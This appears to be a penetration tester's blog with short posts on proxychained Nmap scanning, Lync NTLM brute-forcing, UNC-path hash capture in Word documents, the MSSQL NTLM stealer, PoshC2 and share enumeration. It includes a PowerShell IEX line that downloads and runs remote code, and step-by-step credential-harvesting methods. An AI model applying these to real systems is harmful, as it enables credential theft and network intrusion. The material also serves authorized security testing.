Hack Whack and Smack

Speeding up Proxychains with Nmap / Xargs

So for a while now I’ve wanted a way to better use Nmap with proxychains and essentially I’ve resulted in a fairly simple one-liner that has worked for me for a while now on basic port scanning. It’s a trivial concept but really does speed up the process with no negative affect from what I can tell. Obviously you have to be careful on how many threads you permit with Xargs but other than that its pretty straight forward.

A couple of options that you may consider when pivoting with proxychains is possibly multiple hosts with a low number of ports or the alternative being a large amount of ports against one host. Depending on your usage may depend on how you use it because you always have to remember how stealthy you want to be before doing this type of attack. If you’re using this on an internal pentest then you may not worry so much about stealth, but if you’re running this on a Red Team engagement you will want to manipulate the Nmap flags accordingly.

Using the traditional way of running proxychains with Nmap it took 193.62 seconds to finish. An example of this usage has been shown below:

proxychains nmap -p 1-1000 -sT -Pn --open -n -T4 --min-parallelism 100 --min-rate 1 --oG proxychains_nmap_old --append-output <IP Address>

Bringing Xargs into the loop with a thread count of 50 dramatically improves the results and only took 9 seconds to complete. An example of this usage has been shown below:

seq 1 1000 | xargs -P 50 -I{} proxychains nmap -p {} -sT -Pn --open -n -T4 --min-parallelism 100 --min-rate 1 --oG proxychains_nmap --append-output <IP Address>

If you want to run multiple ports or port ranges against multiple hosts you could use the following alternative:

seq 1 254 | xargs -P 50 -I{} proxychains nmap -p 80,443,3389,445,22 -sT -Pn --open -n -T4 --min-parallelism 100 --min-rate 1 --oG proxychains_nmap --append-output 192.168.1.{}

Then grep the output for open ports:

grep

Service-Perms in Powershell

Updated my Service-Perms.exe to Powershell, grab a copy here:

https://github.com/benpturner/h00k/blob/master/powershell/Service-Perms.ps1 

Usage direct from the Internet within Powershell:

IEX (new-object system.net.webclient).downloadstring("https://raw.githubusercontent.com/benpturner/h00k/master/powershell/Service-Perms.ps1"); Get-ServicePerms

ps

Outputs an HTML

ps2

PoshC2 – Powershell C2

A new tool written by @benpturner (me) and @davehardy20!

poshc2

poshc2-ih

PoshC2 is a proxy aware C2 framework written completely in PowerShell to aid penetration testers with red teaming, post-exploitation and lateral movement. The tools and modules were developed off the back of our successful PowerShell sessions and payload types for the Metasploit Framework. PowerShell was chosen as the base language as it provides all of the functionality and rich features required without needing to introduce multiple languages to the framework.

More information on:

https://www.github.com/Nettitude/PoshC2/wiki

https://www.github.com/Nettitude/PoshC2

https://labs.nettitude.com/tools/poshc2/ 

Brute-forcing Microsoft Lync via NTLM

Ok, so there is good reason why Lync should not be accessible over the Internet similarly to any single factor system. BRUTE-FORCE will usually prevail!!!!

I installed burp’s certificate on my Windows host and attempted to login from Lync (From this I was an HTTP NTLM Login request to https://lyncwebact.customer.com/WebTicket/WebTicketService.svc).

NTLM like many other services is made fairly simple to brute-force or attempt one password guess against many accounts. I have used hydra for this once before but a colleague recently wrote a pretty decent python script that makes it even easier and you don’t need to know all the switches etc (https://github.com/strawp/random-scripts/blob/master/ntlm-botherer.py).

Anyway, to make obtaining the NTLM url simple I wrote a quick python script that located the company DNS records for lyncdiscover and then finds the NTLM url as shown below:

lyncmicrosoft

https://github.com/benpturner/h00k/blob/master/python/lyncdiscover.py

Parsing Nessus to find Java Remote Class Loading

On every internal pentest I perform I always find myself searching through lots of Nessus findings to actually get the output I want, so I wrote a script. This script is piggy backed of a cool python class called dotnessus_v2 parser (http://code.google.com/p/pynessus/). Basically my script takes a Nessus file as the input and parses the RMI Registry and RMI Object detection plugins and creates you a nice easy Metasploit RC file that runs the auxiliary module against all affected hosts and ports without any user interaction, allowing you to crack on with other stuff while you wait for positive results, e.g. Pwnable services that allow remote class loading.

The reason I did this was because in a standard /24 cidr range your likely to get around 30-50 ports on 20 or so hosts if the environment if fairly populated. This speeds the pwnage process up ten fold. In addition to this it will also create you a webhosts.txt file that lists all the HTTP/HTTPS services that Nessus finds so that you can later run more scripts against these, e.g. I often use my screenshot script to take a screendump of all available web services or nikto each host etc.

Anyway, here is the script in action:

nessus

https://github.com/benpturner/h00k/blob/master/python/NessusParser/nessus-parser.py

Malicious UNC Paths (SMB) / Bad Egress / No-Split VPN

When attempting social engineering or red teaming engagements I often choose to embed various HTTP/UNC paths inside an attachment, e.g. Word/Excel/PDF. The best thing about embedding this malicious URL is that it does not warn the user of any external content loading. You can also do this directly inside an email but the user will get warned of loading external content, especially inside outlook which is the most widely used email client in a corporate environment. Other vendor settings do vary so it’s worth doing reconnaissance on your target before aiming to penetrate their external defenses.

Email reconnaissance can be done via embedding a simple HTTP request or even viewing email headers from an automated response or out-of-office reply.

The reason this is also quite interesting to me is that companies often have great egress controls inside their organisation, but when working remotely in a coffee shop, working from home or over a smartphone tether the employees are free to connect without any form of security or logging from a perimeter firewall perspective. Companies should deploy and enforce (via technical controls) no-split VPN connections in order to control the traffic flow between their own assets. This not only helps maintain a controlled logging and monitoring solution but also keeps enforced the integrity of traffic to and from the device. It should not be left the employees home firewall or in most cases a default BT Homehub router.

Example:

Create a new document (test.docx) and embed a UNC path that is located on an Internet facing host, e.g. \\204.200.200.200\logo.png

This can be done using the Metasploit module word_unc_injector (auxiliary/docx/word_unc_injector) or manually via the GUI.

unc

Then setup the SMB auxiliary module (auxiliary/server/capture/smb) in order to capture the client handshake. The beauty with domain configured UNC paths is the ability to capture the NTLM challenge/response packet which can be used to perform an off-line brute-force attack against their password. Again, the beauty with this is as long as you haven’t sent the user anything out of the ordinary then the end-user will not suspect anything at all and this will allow you time to crack their password.

smb

Once you have domain user accounts and passwords you can go on the hunt for any externally facing single factor systems, such as Microsoft Lync, Webmail, or any other single factor system available to the Internet.

The moral of the story is clients should not be relying on end-user’s to implement secure technical controls from their home offices, nor should you rely on a single factor system in this day and age.

There is a million other things that can be done once you have access to systems such as webmail, which includes sending embedded UNC paths to the entire organisation as if you send from a trusted address, the email client will automatically attempt to download the image over SMB and you will have a air-strike of hashes from the target organization.

 

Simple Egress Testing via a VPS

If you want to test the egress controls from a client environment the best way to do this is setup a VPS which simulates all ports open. This is rather easier to do especially if you have SSH enabled as you can forward all ports to TCP 22 using iptables as shown below:

iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 1:65535 -j REDIRECT --to-port 22

Then do an Nmap or Masscan against your host and see if any ports are open. If they are then you have weak egress controls that you can abuse in your client environment 🙂 

Selection_001

Using MSSQL NTLM Stealer to Get Highly Privileged Domain Creds

Going from a normal domain user to a highly privileged MSSQL Service Account can sometimes be pretty easy with the following Metasploit module:

  • auxiliary/admin/mssql/mssql_ntlm_stealer

Met Module

I have been using this method of escalation when various other methods fail, but also MSSQL databases can often be where the clients personally identifiable information (PII) is held and shows the most impact to higher level employees or execs. The idea of this module is to take a compromised low level user account (compromised by brute-force, netbios spoofing, weak passwords or other) and re-use that information against MSSQL’s integrated domain authentication. If the database accepts domain authentication, the native db procedure ‘xp_dirtree’ is abused by inserting a targeted UNC path that then calls back to the attacker on TCP port 445 where Responder is listening. If successful, the MSSQL service account will authenticate and provide the NetNTLM hash which can subsequently be cracked with JTR or Hashcat.

I usually then attempt to connect to the database manually with the cracked credentials and if the account has administrator level permissions on the host you can seamlessly RDP on or PSEXEC and further penetrate the network and capture in-memory credentials, hashes, and more…….

This can also be used against externally facing MSSQL services if the system allows domain users to authenticate which is usually default in a domain environment. MSSQL should never be exposed externally, however, from experience I have seen this on the Internet. Shodan is full of examples:

https://www.shodan.io/search?query=MSSQL

 

Loading A Weaponised Interactive PowerShell Session With Metasploit

A colleague @davehardy20 and I came up with this from an idea I had, it gives an Interactive PowerShell session from Metasploit, using newly developed Metasploit payloads.

Check out the blog post here for more information – https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit

Enjoy

Python Share Enumerator

Hey,

I’ve been working with a few large clients and needed to search a lot of network shares with a standard user account to see if the shares looked dangerous or overly permissive for the user, e.g. an Admin share has full everyone permissions and the user can capture sensitive data. To do this I’ve been using metasploit smb_enumshares and then manually looking through to see which ones were accessible from the list. As you can imagine this can take some time and not be very useful, however over a period of time I have seen some Hyper-V backups on shares that were accessible to users and could be download and back doored for the admin password hash etc.

This is a well worth task. So to cut a long story short I created a python script to do it, basically give it user credentials and a cidr subnet and it will enumerate all shares and files/folders that are available to the given user, Simples.

Usage: python ./shares.py <username> <password> <domain> <hostip> <cidr-rhosts>

python

Let me know what you think, but i’m sure you will find this extremely useful as I have already. A few dependencies listed below

#pip install https://pypi.python.org/packages/source/p/pysmb/pysmb-1.1.13.tar.gz
#smbconnection.py is another dependancy

Download link: shares.py